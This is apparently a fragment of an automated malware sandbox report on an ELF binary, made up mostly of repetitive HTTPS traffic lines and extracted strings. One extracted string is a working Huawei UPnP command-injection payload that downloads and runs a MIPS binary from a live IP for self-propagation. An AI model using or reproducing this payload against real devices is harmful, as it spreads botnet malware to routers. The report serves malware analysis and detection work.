xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: na.elf, 5502.1.0000000008048000.000000000805d000.r-x.sdmp	String found in binary or memory: http://92.249.48.84/bin
Source: na.elf, 5500.1.0000000008048000.000000000805d000.r-x.sdmp, na.elf, 5502.1.0000000008048000.000000000805d000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: na.elf, 5500.1.0000000008048000.000000000805d000.r-x.sdmp, na.elf, 5502.1.0000000008048000.000000000805d000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: na.elf	String found in binary or memory: http://upx.sf.net

Source: unknown	Network traffic detected: HTTP traffic on port 44668 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36310
Source: unknown	Network traffic detected: HTTP traffic on port 59242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36666
Source: unknown	Network traffic detected: HTTP traffic on port 40706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56280
Source: unknown	Network traffic detected: HTTP traffic on port 50796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48888
Source: unknown	Network traffic detected: HTTP traffic on port 38060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47676
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34358
Source: unknown	Network traffic detected: HTTP traffic on port 49096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35566
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46212
Source: unknown	Network traffic detected: HTTP traffic on port 55338 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46450
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44272
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36650
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34228
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34468
Source: unknown	Network traffic detected: HTTP traffic on port 43388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35322
Source: unknown	Network traffic detected: HTTP traffic on port 50968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59210
Source: unknown	Network traffic detected: HTTP traffic on port 55142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51736
Source: unknown	Network traffic detected: HTTP traffic on port 35022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47652
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46684
Source: unknown	Network traffic detected: HTTP traffic on port 42440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60684
Source: unknown	Network traffic detected: HTTP traffic on port 54310 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33010
Source: unknown	Network traffic detected: HTTP traffic on port 59276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57160
Source: unknown	Network traffic detected: HTTP traffic on port 44714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57324
Source: unknown	Network traffic detected: HTTP traffic on port 44590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57566
Source: unknown	Network traffic detected: HTTP traffic on port 46450 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57210
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34050
Source: unknown	Network traffic detected: HTTP traffic on port 46298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36580
Source: unknown	Network traffic detected: HTTP traffic on port 41938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37550
Source: unknown	Network traffic detected: HTTP traffic on port 35150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58552
Source: unknown	Network traffic detected: HTTP traffic on port 42772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60344 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 36580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36692
Source: unknown	Network traffic detected: HTTP traffic on port 43512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39600
Source: unknown	Network traffic detected: HTTP traffic on port 40856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57468
Source: unknown	Network traffic detected: HTTP traffic on port 58052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36688
Source: unknown	Network traffic detected: HTTP traffic on port 54252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40706
Source: unknown	Network traffic detected: HTTP traffic on port 44772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49632
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47212
Source: unknown	Network traffic detected: HTTP traffic on port 52516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50968
Source: unknown	Network traffic detected: HTTP traffic on port 40018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59418
Source: unknown	Network traffic detected: HTTP traffic on port 40740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55186
Source: unknown	Network traffic detected: HTTP traffic on port 51924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49624
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52516
Source: unknown	Network traffic detected: HTTP traffic on port 36666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38450
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37242
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48492
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36276
Source: unknown	Network traffic detected: HTTP traffic on port 55650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60498
Source: unknown	Network traffic detected: HTTP traffic on port 39256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35062
Source: unknown	Network traffic detected: HTTP traffic on port 59210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41850
Source: unknown	Network traffic detected: HTTP traffic on port 34050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39412
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50224
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37108
Source: unknown	Network traffic detected: HTTP traffic on port 59800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60262
Source: unknown	Network traffic detected: HTTP traffic on port 52372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34080
Source: unknown	Network traffic detected: HTTP traffic on port 59920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46298
Source: unknown	Network traffic detected: HTTP traffic on port 43782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46526 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51322
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50478
Source: unknown	Network traffic detected: HTTP traffic on port 48104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52788
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40856
Source: unknown	Network traffic detected: HTTP traffic on port 55380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35150
Source: unknown	Network traffic detected: HTTP traffic on port 50478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51984
Source: unknown	Network traffic detected: HTTP traffic on port 54838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40448
Source: unknown	Network traffic detected: HTTP traffic on port 56114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38362
Source: unknown	Network traffic detected: HTTP traffic on port 40072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50660
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60224
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60344
Source: unknown	Network traffic detected: HTTP traffic on port 56694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59242
Source: unknown	Network traffic detected: HTTP traffic on port 46780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36170
Source: unknown	Network traffic detected: HTTP traffic on port 47162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60480
Source: unknown	Network traffic detected: HTTP traffic on port 58742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50796
Source: unknown	Network traffic detected: HTTP traffic on port 37108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39550
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39670
Source: unknown	Network traffic detected: HTTP traffic on port 58836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38226
Source: unknown	Network traffic detected: HTTP traffic on port 34468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43802
Source: unknown	Network traffic detected: HTTP traffic on port 57324 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58052
Source: unknown	Network traffic detected: HTTP traffic on port 42974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57806
Source: unknown	Network traffic detected: HTTP traffic on port 60684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34804
Source: unknown	Network traffic detected: HTTP traffic on port 44112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55982
Source: unknown	Network traffic detected: HTTP traffic on port 40598 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46900
Source: unknown	Network traffic detected: HTTP traffic on port 54304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39250
Source: unknown	Network traffic detected: HTTP traffic on port 52570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56724
Source: unknown	Network traffic detected: HTTP traffic on port 58552 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52248
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53458
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54304
Source: unknown	Network traffic detected: HTTP traffic on port 53826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55640
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52372
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53460
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45926
Source: unknown	Network traffic detected: HTTP traffic on port 47676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40598
Source: unknown	Network traffic detected: HTTP traffic on port 53300 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54310
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48070
Source: unknown	Network traffic detected: HTTP traffic on port 46900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55650
Source: unknown	Network traffic detected: HTTP traffic on port 46866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41796
Source: unknown	Network traffic detected: HTTP traffic on port 45014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45668 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43970
Source: unknown	Network traffic detected: HTTP traffic on port 41684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33928
Source: unknown	Network traffic detected: HTTP traffic on port 46684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38386
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53354
Source: unknown	Network traffic detected: HTTP traffic on port 57996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37058
Source: unknown	Network traffic detected: HTTP traffic on port 43796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52026
Source: unknown	Network traffic detected: HTTP traffic on port 35738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44772
Source: unknown	Network traffic detected: HTTP traffic on port 36618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60056
Source: unknown	Network traffic detected: HTTP traffic on port 39550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52684
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53532
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49096
Source: unknown	Network traffic detected: HTTP traffic on port 60224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52570
Source: unknown	Network traffic detected: HTTP traffic on port 41796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40158
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42690
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43782
Source: unknown	Network traffic detected: HTTP traffic on port 46616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53300
Source: unknown	Network traffic detected: HTTP traffic on port 42690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33980
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50280
Source: unknown	Network traffic detected: HTTP traffic on port 56724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42442
Source: unknown	Network traffic detected: HTTP traffic on port 45794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42354 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42440
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 55240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42438
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46918
Source: unknown	Network traffic detected: HTTP traffic on port 39194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42672
Source: unknown	Network traffic detected: HTTP traffic on port 46406 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56316
Source: unknown	Network traffic detected: HTTP traffic on port 33010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46508
Source: unknown	Network traffic detected: HTTP traffic on port 35718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46742
Source: unknown	Network traffic detected: HTTP traffic on port 43672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55576 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56694
Source: unknown	Network traffic detected: HTTP traffic on port 51322 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46618
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55240
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46616
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42016
Source: unknown	Network traffic detected: HTTP traffic on port 36310 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40078
Source: unknown	Network traffic detected: HTTP traffic on port 55982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47822
Source: unknown	Network traffic detected: HTTP traffic on port 60898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40072
Source: unknown	Network traffic detected: HTTP traffic on port 49632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36602 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44668
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45636
Source: unknown	Network traffic detected: HTTP traffic on port 48970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45630
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39194
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50924
Source: unknown	Network traffic detected: HTTP traffic on port 35322 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34854
Source: unknown	Network traffic detected: HTTP traffic on port 38836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56110
Source: unknown	Network traffic detected: HTTP traffic on port 42856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55380
Source: unknown	Network traffic detected: HTTP traffic on port 36650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42354
Source: unknown	Network traffic detected: HTTP traffic on port 37242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43566
Source: unknown	Network traffic detected: HTTP traffic on port 43134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49624 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48970
Source: unknown	Network traffic detected: HTTP traffic on port 40078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58930
Source: unknown	Network traffic detected: HTTP traffic on port 40098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36994
Source: unknown	Network traffic detected: HTTP traffic on port 40158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46780
Source: unknown	Network traffic detected: HTTP traffic on port 33462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55562
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52294
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36618
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43388
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44590
Source: unknown	Network traffic detected: HTTP traffic on port 39670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58836
Source: unknown	Network traffic detected: HTTP traffic on port 35566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59920
Source: unknown	Network traffic detected: HTTP traffic on port 45636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36602
Source: unknown	Network traffic detected: HTTP traffic on port 34358 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33462
Source: unknown	Network traffic detected: HTTP traffic on port 60480 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46526
Source: unknown	Network traffic detected: HTTP traffic on port 48492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46406
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43134
Source: unknown	Network traffic detected: HTTP traffic on port 38450 -> 443
